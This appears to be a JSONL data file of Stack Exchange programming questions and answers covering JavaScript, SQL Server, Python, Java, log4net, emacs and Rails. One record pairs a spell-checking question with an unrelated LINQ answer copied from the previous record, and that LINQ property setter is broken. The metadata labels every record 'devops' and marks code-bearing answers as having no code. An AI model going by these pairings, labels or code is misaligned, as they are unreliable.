{"id": "hf_bf5448377f57", "question": "<p>I have a web application where there are number of Ajax components which refresh themselves every so often inside a page (it's a dashboard of sorts).</p>\n\n<p>Now, I want to add functionality to the page so that when there is no Internet connectivity, the current content of the page doesn't change and a message appears on the page saying that the page is offline (currently, as these various gadgets on the page try to refresh themselves and find that there is no connectivity, their old data vanishes).</p>\n\n<p>So, what is the best way to go about this?</p>\n", "question_body": "", "answer": "```\n```\nnavigator.onLine\n```\n```\nThat should do what you're asking.\nYou probably want to check that in whatever code you have that updates the page. Eg:\n```\n```\nif (navigator.onLine) {\n    updatePage();\n} else {\n    displayOfflineWarning();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.785583"}
{"id": "hf_427b9269f92e", "question": "<p>I've recently come across a problem which requires at least a basic degree of image processing, can I do this in Python, and if so, with what?</p>\n", "question_body": "", "answer": "There is actually a wonderful\nPython Imaging Library (PIL)\n.  It gives you the ability to alter existing images, including anti-aliasing capabilities, and create new images with text and such.  You can also find a\ndecent introductory tutorial\nin the PIL handbook provided on the aforementioned site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.910573"}
{"id": "hf_512e612d4890", "question": "<p>I'm running a SQL query on SQL Server 2005, and in addition to 2 columns being queried from the database, I'd also like to return 1 column of random numbers along with them. I tried this:</p>\n\n<pre><code>select column1, column2, floor(rand() * 10000) as column3 \nfrom table1\n</code></pre>\n\n<p>Which kinda works, but the problem is that this query returns the same random number on every row. It's a different number each time you run the query, but it doesn't vary from row to row. How can I do this and get a new random number for each row?</p>\n", "question_body": "", "answer": "You need to use a UDF\nfirst:\n```\n```\nCREATE VIEW vRandNumber\nAS\nSELECT RAND() as RandNumber\n```\n```\nsecond:\n```\n```\nCREATE FUNCTION RandNumber()\nRETURNS float\nAS\n  BEGIN\n  RETURN (SELECT RandNumber FROM vRandNumber)\n  END\n```\n```\ntest:\n```\n```\nSELECT dbo.RandNumber(), *\nFROM <table>\n```\n```\nAbove borrowed from\nJeff's SQL Server Blog", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.957962"}
{"id": "hf_47c957aa61b7", "question": "<p>I have a table with game scores, allowing multiple rows per account id: <code>scores (id, score, accountid)</code>. I want a list of the top 10 scorer ids and their scores.</p>\n\n<p>Can you provide an sql statement to select the top 10 scores, but only one score per account id? </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nselect top 10 username, \n              max(score) \nfrom usertable \ngroup by username \norder by max(score) desc\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.993181"}
{"id": "hf_66c11afe9227", "question": "<p>Apparently xrange is faster but I have no idea why it's faster (and no proof besides the anecdotal so far that it is faster) or what besides that is different about</p>\n\n<pre><code>for i in range(0, 20):\nfor i in xrange(0, 20):\n</code></pre>\n", "question_body": "", "answer": "See this\npost\nto find difference between range and xrange:\nTo quote:\n```\nrange\n```\nreturns exactly what you think: a list of consecutive\n  integers, of a defined length beginning with 0.\n```\nxrange\n```\n, however,\n  returns an\n\"xrange object\"\n, which acts a great deal like an iterator", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.042733"}
{"id": "hf_e9c11f93cd23", "question": "<p>I have a couple of triggers on a table that I want to keep <strong><em>separate</em></strong> and would like to priortize them.</p>\n\n<p>I could have just one trigger and do the logic there, but I was wondering if there was an easier/logical way of accomplishing this of having it in a pre-defined order ?</p>\n", "question_body": "", "answer": "Use sp_settriggerorder.  You can specify the first and last trigger to fire depending on the operation.\nsp_settriggerorder on MSDN\nFrom the above link:\nA. Setting the firing order for a DML trigger\nThe following example specifies that trigger uSalesOrderHeader be the first trigger to fire after an UPDATE operation occurs on the Sales.SalesOrderHeader table.\n```\nUSE AdventureWorks;\nGO\nsp_settriggerorder \n    @triggername= 'Sales.uSalesOrderHeader', \n    @order='First', \n    @stmttype = 'UPDATE';\n```\nB. Setting the firing order for a DDL trigger\nThe following example specifies that trigger ddlDatabaseTriggerLog be the first trigger to fire after an ALTER_TABLE event occurs in the AdventureWorks database.\n```\nUSE AdventureWorks;\nGO\nsp_settriggerorder \n    @triggername= 'ddlDatabaseTriggerLog', \n    @order='First', \n    @stmttype = 'ALTER_TABLE', \n    @namespace = 'DATABASE';\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.090936"}
{"id": "hf_b214d81583de", "question": "<p>Suppose you have a program which reads from a socket. How do you keep the download rate below a certain given threshold?</p>\n", "question_body": "", "answer": "Assuming a network transport, a TCP/IP based one, Packets are sent in response to ACK/NACK packets going the other way.\nBy limiting the rate of packets acknowledging receipt of the incoming packets, you will in turn reduce the rate at which new packets are sent.\nIt can be a bit imprecise, so its possibly optimal to monitor the downstream rate and adjust the response rate adaptively untill it falls inside a comfortable threshold. ( This will happen really quick however, you send dosens of acks a second )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.148643"}
{"id": "hf_08ebd25e207f", "question": "<p>I've started figuring out drupal, and so far most of the results are just ugly.\nMay be I need to learn it in something similar to a real-life project.\nI thought — to reproduce this site's functionality might be a good learning project. But I need help. :)</p>\n\n<p>Without assuming this site is based on drupal (it most likely is not — too quick, I think) is there a way to build something similar in functionality (yes, slower, OK if not as fancy as this one, but close) with existing drupal modules and schemes (or with minimal tweaking)?</p>\n\n<p>Or drupal is not good enough for that?\nOr — is it too complicated project for a student?</p>\n\n<p>Which existing modules and schemes might help to build something similar?</p>\n\n<p>(No competition is intended with stackoverflow.)</p>\n", "question_body": "", "answer": "Firstly, Drupal is by no means a slow system, actually it works quite well.\nSecondly, this has been already asked and answered\nhere\n.\nBy the way Drupal has a medium learning curve but, once you learn how to use you'll find it simple and you'll find it will satisfy almost everything you want to do with it. Its plugin system is just great and it's very SEO friendly (I don't get paid from Drupal I swear, I just happen to like it a lot)\nMy\nwebsite\nis made in drupal if you wanna take a look (is in spanish though).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.206429"}
{"id": "hf_db230f2a6a35", "question": "<p>It is a real pain to deploy my InfoPath 2007 Forms from the designer into our development environment's SharePoint server.  All of our forms require \"full trust\" since they include business logic written in C#.  Here are the manual steps:</p>\n\n<p>1) Run the \"Publish Form\" wizard in InfoPath, specifying the target site to publish to and location to save the xsn file. </p>\n\n<p>2) De-activate the existing version of the form from the site collection features (if an older version exists).</p>\n\n<p>3) Log into Central Admin on the development server.  Navigate to Application Management -> Manage Form Templates and upload the xsn file.</p>\n\n<p>4) Activate the form as a site collection feature.</p>\n\n<p>Does anyone have an idea how this can be automated?  Maybe via stsadm?</p>\n", "question_body": "", "answer": "You can package InfoPath forms in SharePoint solutions (WSP files). These can be deployed by making use of STSADM. For more information:\nhttp://blogs.importchaos.com/alonsorobles/2008/06/04/creating-a-sharepoint-solution-for-an-infopath-form-template-deployment/#comments\nhttp://www.crsw.com/mark/Lists/Posts/Post.aspx?ID=37\nhttp://blah.winsmarts.com/2008-8-Deploying_InfoPath_2007_Forms_to_Forms_Server_-and-ndash_Properly.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.241403"}
{"id": "hf_1f53fe5ddbe4", "question": "<p>How can I tell Activerecord to not load blob columns unless explicitly asked for? There are some pretty large blobs in my legacy DB that must be excluded for 'normal' Objects.</p>\n", "question_body": "", "answer": "I believe you can ask AR to load specific columns in your invocation to find:\n```\n```\nMyModel.find(id, :select => 'every, attribute, except, the, blobs')\n```\n```\nHowever, this would need to be updated as you add columns, so it's not ideal.  I don't think there is any way to specifically exclude one column in rails (nor in a single SQL select).\nI guess you could write it like this:\n```\n```\nMyModel.find(id, :select => (MyModel.column_names - ['column_to_exclude']).join(', '))\n```\n```\nTest these out before you take my word for it though. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.268335"}
{"id": "hf_cff45952ed7f", "question": "<p>Using the method <code>Application.Restart()</code> in C# should restart the current application: but it seems that this is not always working.</p>\n\n<p>Is there a reason for this Issue, can somebody tell me, why it doesn't work all the time?</p>\n", "question_body": "", "answer": "Try locking before dumping. Here's how I initiate a full app-dump. Might work for you, might not.\n```\n```\nContext.Application.Lock();\nContext.Session.Abandon();\nContext.Application.RemoveAll();\nContext.Application.Restart();\nContext.Application.UnLock();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.348599"}
{"id": "hf_ec8e2cd015f8", "question": "<p>Convert.ToString() only allows base values of 2, 8, 10, and 16 for some odd reason; is there some obscure way of providing any base between 2 and 16?</p>\n", "question_body": "", "answer": "```\n```\nstring foo = Convert.ToString(myint,base);\n```\n```\nhttp://msdn.microsoft.com/en-us/library/14kwkz77.aspx\nEDIT\n: My bad, this will throw an argument exception unless you pass in the specified bases (2, 8, 10, and 16)\nYour probably SOL if you want to use a different base (but why???).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.370253"}
{"id": "hf_9f9037b15190", "question": "<p>Is there a Vim shortcut for jumping to the argument list of the current function?  I often find myself needing to mess with the argument list of a function, and it's kind of annoying to have to do ?def or ?function or 10k or what-have-you until I finally get to it, then /( or t( or 5e to get to the right position in the argument list, and so on.  It would be great if I could just hit ,a for example and instantly get put into insert mode at the end/beginning of the argument list.</p>\n\n<p>Possible approaches:</p>\n\n<ul>\n<li>Folding</li>\n<li>Tag support (ctags)</li>\n</ul>\n\n<p>Also, I'm using Python, so solutions based on curly braces unfortunately won't work.</p>\n\n<p>If no such shortcut exists, I'll just write one and post it here as an answer.  :-)</p>\n", "question_body": "", "answer": "map ,a ma[{F(a\nHit ,a to go to the argument list, then `a to return to where you were when you invoked ,a. Caveat: [{ jumps back to the last unmatched { character, so if you're inside a loop or other control structure, it will take you to the beginning of that, instead.\nI don't know of a way to get to the beginning of the function in a fool-proof way. If you're consistent about your tabbing, you may be able to do something like this:\nmap ,a ma?function :nohlf(a\nwhere, if you don't use a single tab before you define your functions, you'd change  to appropriate value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.393504"}
{"id": "hf_a0c62c41a938", "question": "<p>I'm using the following code to query a database from my jsp, but I'd like to know more about what's happening behind the scenes.</p>\n\n<p>These are my two primary questions.</p>\n\n<p>Does the tag access the ResultSet directly, or is the query result being stored in a datastructure in memory?</p>\n\n<p>When is the connection closed?</p>\n\n<pre><code>&lt;%@ taglib prefix=\"sql\" uri=\"http://java.sun.com/jsp/jstl/sql\" %&gt;\n\n&lt;sql:query var=\"query\" dataSource=\"${ds}\" sql=\"${listQuery}\"&gt;&lt;/sql:query&gt;\n&lt;c:forEach var=\"row\" items=\"${query.rows}\" begin=\"0\"&gt;\n    ${row.data }\n    ${row.more_data }\n&lt;/c:forEach&gt;\n</code></pre>\n\n<p>Note: I've always been against running queries in the jsp, but my result set is too large to store in memory between my action and my jsp. Using this tag library looks like the easiest solution.</p>\n", "question_body": "", "answer": "The key thing here is this: javax.servlet.jsp.jstl.sql.Result\nThat's what JSTL uses as the result of a SQL Query. If you look at the interface, it has this method:\npublic java.util.SortedMap[] getRows()\nc:forEach \"knows\" about javax.servlet.jsp.jstl.sql.Result, since Result isn't anything else that forEach knows about (Collections, arrays, iterators, etc).\nSo, all of that implies that the SQL query will suck the entire result set in to RAM.\nIf you moved your query in to the JSP because you didn't want to load the entire result set in to a collection, then it doesn't look like the SQL tag will solve that problem for you.\nIn truth you should look up Value List Pattern.\nBut a \"simple\" solution to your problem would be to create a custom Iterator that \"knows\" about your ResultSet. This one wraps a result set and closes everything if it encounters an exception or if the result runs its course (like it would in a forEach). Kind of a special purpose thing.\n```\npublic class ResultSetIterator implements Iterator {\n```\n```\n```\nConnection con;\nStatement s;\nResultSet rs;\nObject curObject;\nboolean closed;\n\npublic ResultSetIterator(Connection con, Statement s, ResultSet rs) {\n    this.con = con;\n    this.s = s;\n    this.rs = rs;\n    closed = false;\n}\n\npublic boolean hasNext() {\n    advance();\n    return curObject != null;\n}\n\npublic Object next() {\n    advance();\n    if (curObject == null) {\n        throw new NoSuchElementException();\n    } else {\n        Object result = curObject;\n        curObject = null;\n        return result;\n    }\n}\n\npublic void remove() {\n    throw new UnsupportedOperationException(\"Not supported yet.\");\n}\n\nprivate void advance() {\n    if (closed) {\n        curObject = null;\n        return;\n    }\n    if (curObject == null) {\n        try {\n            if (rs.next()) {\n                curObject = bindObject(rs);\n            }\n        } catch (SQLException ex) {\n            shutDown();\n            throw new RuntimeException(ex);\n        }\n    }\n    if (curObject == null) {\n        // Still no object, must be at the end of the result set\n        shutDown();\n    }\n}\n\nprotected Object bindObject(ResultSet rs) throws SQLException {\n    // Bind result set row to an object, replace or override this method\n    String name = rs.getString(1);\n    return name;\n}\n\npublic void shutDown() {\n    closed = true;\n    try {\n        rs.close();\n    } catch (SQLException ex) {\n        // Ignored\n    }\n    try {\n        s.close();\n    } catch (SQLException ex) {\n        // Ignored\n    }\n    try {\n        con.close();\n    } catch (SQLException ex) {\n        // Ignored\n    }\n}\n```\n```\n}\nThis is, naturally, untested. But since JSTLs forEach can work with an Iterator, it's the simplest object you could really pass to it. This will prevent you from loading the entire result set in to memory. (As an interesting aside, it's notable how almost, but not quite, completely unlike Iterator a ResultSets behavior is.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.438965"}
{"id": "hf_1289ff95082d", "question": "<p>I'm new to .Net and I'm trying to understand the basics first. What is the difference between MSIL and Java bytecode?</p>\n", "question_body": "", "answer": "There are not that much differences. Both are intermediate formats of the code you wrote. When executed, the Virtual machines will execute the intermediate language managed that means that the Virtual Machine controls the variables and calls. There is even a language which I don't remeber right now that can run at .Net and Java the same way.\nBasicly, it's just another format for the same thing\nEdit: Found the language (besides Scala): It's FAN (\nhttp://www.fandev.org/\n), looks very interesting, but no time yet to evaluate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.463034"}
{"id": "hf_0b53cedea22c", "question": "<p>I have:</p>\n\n<pre><code>class MyClass extends MyClass2 implements Serializable {\n  //...\n}\n</code></pre>\n\n<p>In MyClass2 is a property that is not serializable. How can I serialize (and de-serialize) this object?</p>\n\n<p>Correction: MyClass2 is, of course, not an interface but a class.</p>\n", "question_body": "", "answer": "MyClass2 is just an interface so techinicaly it has no properties, only methods.  That being said if you have instance variables that are themselves not serializeable the only way I know of to get around it is to declare those fields transient.\nex:\n```\n```\nprivate transient Foo foo;\n```\n```\nWhen you declare a field transient it will be ignored during the serialization and deserialization process.  Keep in mind that when you deserialize an object with a transient field that field's value will always be it's default (usually null.)\nNote you can also override the readResolve() method of your class in order to initialize transient fields based on other system state.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.486640"}
{"id": "hf_0a2dc5858d75", "question": "<p>Our CruiseControl system checks out from starteam. I've noticed that it is sometimes not checking out new versions of files, only added files.</p>\n\n<p>Does anyone know why this is?</p>\n", "question_body": "", "answer": "I cannot say\nwhy\nthis happens, but for what it's worth, we avoid the problem entirely by having StarTeam delete all of the local files before checking-out. We get\nall\nof the files that way. We use the following StarTeam arguments in our NAnt script:\n```\n```\ndelete-local -q -p &quot;${starteam_project_root}&quot; -is -filter &quot;N&quot; -cfgd &quot;${exec_time}&quot;\n```\n```\nWhich translates to something like:\n```\n```\ndelete-local -q -p \"user:passwd@SERVER:49201/ProjectName/\" -is -filter \"N\"-cfgd \"09/18/2008 14:33:22\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.525200"}
{"id": "hf_4a2ff82893c7", "question": "<p>I want to generate a Makefile from an existing Xcode project on the Mac. Specifically, an existing iPhone, Objective-C program on the Mac.</p>\n\n<p>I found <a href=\"http://members.bellatlantic.net/%7Evze35xda/software.html\" rel=\"noreferrer\">PBToMake</a>, but it looks like it is for Xcode 2.1 and when I tried using it, it did not work for an Xcode 3.1 project.</p>\n", "question_body": "", "answer": "Xcode does not support generating a Makefile from a project. If you just want to build your project outside of the IDE, check out the\n```\nxcodebuild\n```\ncommand-line tool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.548443"}
{"id": "hf_34e247d09863", "question": "<p>I found this link <a href=\"http://artis.imag.fr/~Xavier.Decoret/resources/glsl-mode/\" rel=\"noreferrer\">http://artis.imag.fr/~Xavier.Decoret/resources/glsl-mode/</a>, but there isn't a lot of description around it, aside that it's \"simple\".</p>\n\n<p>Ideally, I'd like an extension to CcMode that can do it, or at least a mode that can handle auto-styling and has similar shortcuts to CcMode.</p>\n\n<p>If there isn't one, any good elisp references to help me get started writing it myself would be greatly appreciated.</p>\n\n<p>EDIT: David's response prompted me to take a closer look at glsl-mode.el, and it is in fact based on cc-mode, so it's exactly what I was looking for in the first place.</p>\n", "question_body": "", "answer": "Add the following code to your ~/.emacs file.\n```\n```\n(autoload 'glsl-mode \"glsl-mode\" nil t)\n(add-to-list 'auto-mode-alist '(\"\\\\.vert\\\\'\" . glsl-mode))\n(add-to-list 'auto-mode-alist '(\"\\\\.frag\\\\'\" . glsl-mode))\n```\n```\nPut the file\nhttp://artis.imag.fr/~Xavier.Decoret/resources/glsl-mode/glsl-mode.el\nsomewhere on your emacs path.  You can eval (print load-path) in your\nscratch\nbuffer to get the list of possible locations.  If you don't have write access to any of those, you can append another location to load-paths by adding\n```\n```\n(setq load-path (cons \"~/.emacs.d\" load-path))\n```\n```\nto your ~/.emacs file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.594272"}
{"id": "hf_b47aa45902ab", "question": "<p>I'd like to be able to create a parameterized query in MS Access 2003 and feed the values of certain form elements to that query and then get the corresponding resultset back and do some basic calculations with them. I'm coming up short in figuring out how to get the parameters of the query to be populated by the form elements. If I have to use VBA, that's fine.</p>\n", "question_body": "", "answer": "Here is a snippet of code. It updates a table using the parameter txtHospital:\n```\n```\nSet db = CurrentDb\n\nSet qdf = db.QueryDefs(\"AddHospital\")\nqdf.Parameters!txtHospital = Trim(Me.HospName)\nqdf.ReturnsRecords = False\n\nqdf.Execute dbFailOnError\n\nintResult = qdf.RecordsAffected\n```\n```\nHere is a sample of the SQL:\n```\n```\nPARAMETERS txtHospital Text(255); \n\nINSERT INTO tblHospitals ( \n[Hospital] )\n\nVALUES ( \n[txtHospital] )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.641157"}
{"id": "hf_f76d8c998085", "question": "<p>I have the following configuration, but I have not able to find any documentation on how to set a maximum backup files on date rolling style.  I know that you can do this with size rolling style by using the maxSizeRollBackups.</p>\n\n<pre><code>&lt;appender name=\"AppLogFileAppender\" type=\"log4net.Appender.RollingFileAppender\"&gt;\n    &lt;file value=\"mylog.log\" /&gt;\n    &lt;appendToFile value=\"true\" /&gt;\n    &lt;lockingModel type=\"log4net.Appender.FileAppender+MinimalLock\" /&gt;\n    &lt;rollingStyle value=\"Date\" /&gt;\n    &lt;datePattern value=\".yyMMdd.'log'\" /&gt;\n    &lt;layout type=\"log4net.Layout.PatternLayout\"&gt;\n      &lt;conversionPattern value=\"%d %-5p %c - %m%n\"  /&gt;\n    &lt;/layout&gt;\n&lt;/appender&gt;\n</code></pre>\n", "question_body": "", "answer": "Not sure exactly what you need.  Below is an extract from one of my lo4net.config files:\n```\n```\n<appender name=\"RollingFile\" type=\"log4net.Appender.RollingFileAppender\">\n    <param name=\"File\" value=\"App_Data\\log\"/>\n    <param name=\"DatePattern\" value=\".yyyy-MM-dd-tt&quot;.log&quot;\"/>\n    <param name=\"AppendToFile\" value=\"true\"/>\n    <param name=\"RollingStyle\" value=\"Date\"/>\n    <param name=\"StaticLogFileName\" value=\"false\"/>\n    <param name=\"maxSizeRollBackups\" value=\"60\" />\n    <layout type=\"log4net.Layout.PatternLayout\">\n      <param name=\"ConversionPattern\" value=\"%r %d [%t] %-5p %c - %m%n\"/>\n    </layout>\n  </appender>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.664967"}
{"id": "hf_221cee62ff9f", "question": "<p>Some programming languages such as Java and C# include encryption packages in their standard libraries.  Others such as Python and Ruby make you download third-party modules to do strong encryption.  I assume that this is for legal reasons; perhaps Sun Microsystems has enough lawyers that they aren't afraid of getting sued, while Guido van Rossum feels more vulnerable.</p>\n\n<p>But what does the law actually say about this?  At this point, would open source authors have anything to fear if they included strong encryption in their programming languages' standard libraries?  If so, then why don't they?  If not, then how do Sun and Microsoft get away with it.</p>\n", "question_body": "", "answer": "IANAL, But...\nJava and C# are closed-source, and thus have terms in the EULA that say more-or-less \"It's not our fault if you use this somewhere you're not supposed to\". They also have teams of lawyers to protect themselves and enforce that clause.\nMost open-source licenses do not have similar langauge, and even the ones that do, they don't have teams of lawyers on their side, as the OP said.\nAlso, Python and PERL are older than Java and C#, from the days when it was illegal to export cryptographic software from the US. Not adding cryptography since the law was changed is perhaps simply a \"consistency-is-good\" decision.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.688377"}
{"id": "hf_d4eea0f6ec5b", "question": "<p>I am trying to fix memory leaks in IE 7. Using Drip for investigations but it is not helping much when most dynamically generated DOM elements do not have unique ids.</p>\n\n<p>Tips?</p>\n", "question_body": "", "answer": "Just remember that memory leaks are really about you not cleaning up after yourself. All you need is a little organization.\nIn the past, I have created my own proxy object for attaching events to DOM elements. It uses my javascript library's api to actually set and remove events. The proxy itself just keeps track of all of the references so that I can call a method on it to have it clean up all of my potential memory leaks.\nFor my purposes, I was able to just call a single deconstructor on the page that would clean up the leaks for the entire page when the user was leaving the page.\nYou may have to be more granular but the technique is the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.728078"}
{"id": "hf_823beb6e39a7", "question": "<p>I have a LINQ to SQL generated class with a readonly property:</p>\n\n<pre><code>&lt;Column(Name:=\"totalLogins\", Storage:=\"_TotalLogins\", DbType:=\"Int\", UpdateCheck:=UpdateCheck.Never)&gt;  _\nPublic ReadOnly Property TotalLogins() As System.Nullable(Of Integer)\n    Get\n        Return Me._TotalLogins\n    End Get\nEnd Property\n</code></pre>\n\n<p>This prevents it from being changed externally, but I would like to update the property from within my class like below:</p>\n\n<pre><code>Partial Public Class User\n\n...\n\n    Public Shared Sub Login(Username, Password)\n        ValidateCredentials(UserName, Password)\n\n        Dim dc As New MyDataContext()\n        Dim user As User = (from u in dc.Users select u where u.UserName = Username)).FirstOrDefault()\n        user._TotalLogins += 1\n        dc.SubmitChanges()\n    End Sub\n\n...\n\nEnd Class\n</code></pre>\n\n<p>But the call to user._TotalLogins += 1 is not being written to the database? Any thoughts on how to get LINQ to see my changes?</p>\n", "question_body": "", "answer": "```\n```\nMake a second property that is protected or internal(?) \n\n<Column(Name:=\"totalLogins\", Storage:=\"_TotalLogins\", DbType:=\"Int\", UpdateCheck:=UpdateCheck.Never)>  _\nprotected Property TotalLogins2() As System.Nullable(Of Integer)\n    Get\n        Return Me._TotalLogins\n    End Get\n    Set(byval value as System.Nullable(Of Integer))\n        Return Me._TotalLogins\n    End Get\nEnd Property\n```\n```\nand then update that . I think it won't save readonly properties by default. And why should it anyway. I now it's a hack but hey that's life.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.775085"}
{"id": "hf_f27006ec40f1", "question": "<p>What is a tool or technique that can be used to perform spell checks upon a whole source code base and its associated resource files?</p>\n\n<p>The spell check should be <em>source code aware</em> meaning that it would stick to checking string literals in the code and not the code itself.  Bonus points if the spell checker understands common resource file formats, for example text files containing name-value pairs (only check the values).  Super-bonus points if you can tell it which parts of an XML DTD or Schema should be checked and which should be ignored.</p>\n\n<p>Many IDEs can do this for the file you are currently working with.  The difference in what I am looking for is something that can operate upon a whole source code base at once.</p>\n\n<p>Something like a Findbugs or PMD type tool for mis-spellings would be ideal.</p>\n", "question_body": "", "answer": "```\n```\nMake a second property that is protected or internal(?) \n\n<Column(Name:=\"totalLogins\", Storage:=\"_TotalLogins\", DbType:=\"Int\", UpdateCheck:=UpdateCheck.Never)>  _\nprotected Property TotalLogins2() As System.Nullable(Of Integer)\n    Get\n        Return Me._TotalLogins\n    End Get\n    Set(byval value as System.Nullable(Of Integer))\n        Return Me._TotalLogins\n    End Get\nEnd Property\n```\n```\nand then update that . I think it won't save readonly properties by default. And why should it anyway. I now it's a hack but hey that's life.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.798154"}
{"id": "hf_40730e8c67b3", "question": "<p>I want to override the JSON MIME type (\"application/json\") in Rails to (\"text/x-json\").  I tried to register the MIME type again in mime_types.rb but that didn't work.  Any suggestions?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Try:\n```\n```\nrender :json => var_containing_my_json, :content_type => 'text/x-json'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:11.983998"}
